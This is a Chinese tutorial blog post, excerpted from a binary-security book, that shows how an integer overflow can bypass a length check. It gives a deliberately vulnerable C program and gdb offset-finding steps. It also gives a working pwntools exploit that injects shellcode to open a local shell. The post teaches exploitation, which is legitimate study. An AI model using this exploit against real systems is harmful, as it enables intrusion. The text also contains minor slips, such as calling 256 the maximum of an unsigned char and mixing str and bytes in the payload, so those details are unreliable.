二進位制漏洞挖掘之整數溢位

brucexia發表於2024-02-01


C 語言中,當進行加、乘運算時,計算的結果超出資料型別所能表示的範圍,則產生溢位。其中,整數溢位分為三種情況:

l   對整數型變數進行運算時,結果超出該資料型別所能表示的範圍。

l   將較大範圍的數儲存在較小範圍的變數中,造成資料截斷。

l   無符號數運算結果小於0 時。


整數溢位一般不能單獨利用,主要是用來繞過程式中的條件檢測,從而實現漏洞利用的目的。下面透過案例,演示利用整數溢位和棧溢位獲取系統shell 的過程。

1 )編寫C 語言程式碼,儲存檔名為 vulInt.c ,程式碼如下所示:

#include<stdio.h>
#include<string.h>
char buf1[100];
void dofunc()
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    gets(buf);
    unsigned char passwd_len = strlen(buf);
    if (passwd_len >= 4 && passwd_len <= 8)
    {
        strncpy(buf1, buf, 100);
    }
}
int main(int argc, char* argv[])
{
    dofunc();
    return 0;
}

程式碼 unsigned char passwd_len = strlen(passwd) 明視訊記憶體在溢位漏洞,strlen 函式的返回型別是size_t 型別,並儲存在無符號字元型資料型別中。因此,任何大於無符號字元型的最大上限值256 都會導致整數溢位,所以,當密碼長度是261 ,將被截斷並儲存為5 ,繞過 if (passwd_len >= 4 && passwd_len <= 8) 程式碼的邊界檢查,從而實現利用 strncpy(buf1, buf, 100) 程式碼實現棧溢位。

2 執行 gcc -m32 -g -fno-stack-protector -z execstack vulInt.c -o vulInt 命令,編譯程式,再使用gdb 除錯程式。結果如圖11-19 所示。

11-19

3 )執行 cyclic 261 命令,生成261 個字元:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacp ,結果如圖11-20 所示。

11-20

4 除錯程式,執行程式至輸入引數處,輸入步驟3 生成的字元,結果如圖11-21 所示。

11-21

5 繼續執行程式,結果如圖11-22 所示。

11-22

由圖可知,當輸入261 個字元時,成功繞過程式的邊界檢查,且EIP 中儲存的資料為輸入的字元。因此,構造特殊的輸入字元,可以控制EIP

6 執行 distance &buf ebp 命令,計算buf ebp 的距離,結果如圖11-23 所示。由圖可知,buf ebp 的距離為0x6d

11-23

7 )執行 x buf1 命令,檢視buf1 的地址,結果如圖11-24 所示。由圖可知,buf1 的地址為0x804a060

11-24

8 根據 6 7 獲取的資料資訊,編寫exp 指令碼,儲存檔名為“vulInt.py ”,程式碼如下所示:

from pwn import *
context(os = 'linux', arch = 'i386')
pRetAddr = 0x0804A060
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6d + 4, b'a') + p32(pRetAddr)
payload += "b" * (261 - len(payload))
p = process("./vulInt")
p.sendline(payload)
p.interactive()

執行 python vulInt.py 命令,執行指令碼,獲取系統shell ,再執行 ls 命令,測試shell 能否正常使用,結果如圖11-25 所示。由圖可知,漏洞利用成功,並獲取能夠正常使用的shell

11-25

本文節選自《二進位制安全基礎》,獲出版社和作者授權釋出。

 

 

 


來自 “ ITPUB部落格 ” ,連結:https://blog.itpub.net/18841117/viewspace-3005927/,如需轉載,請註明出處,否則將追究法律責任。

相關文章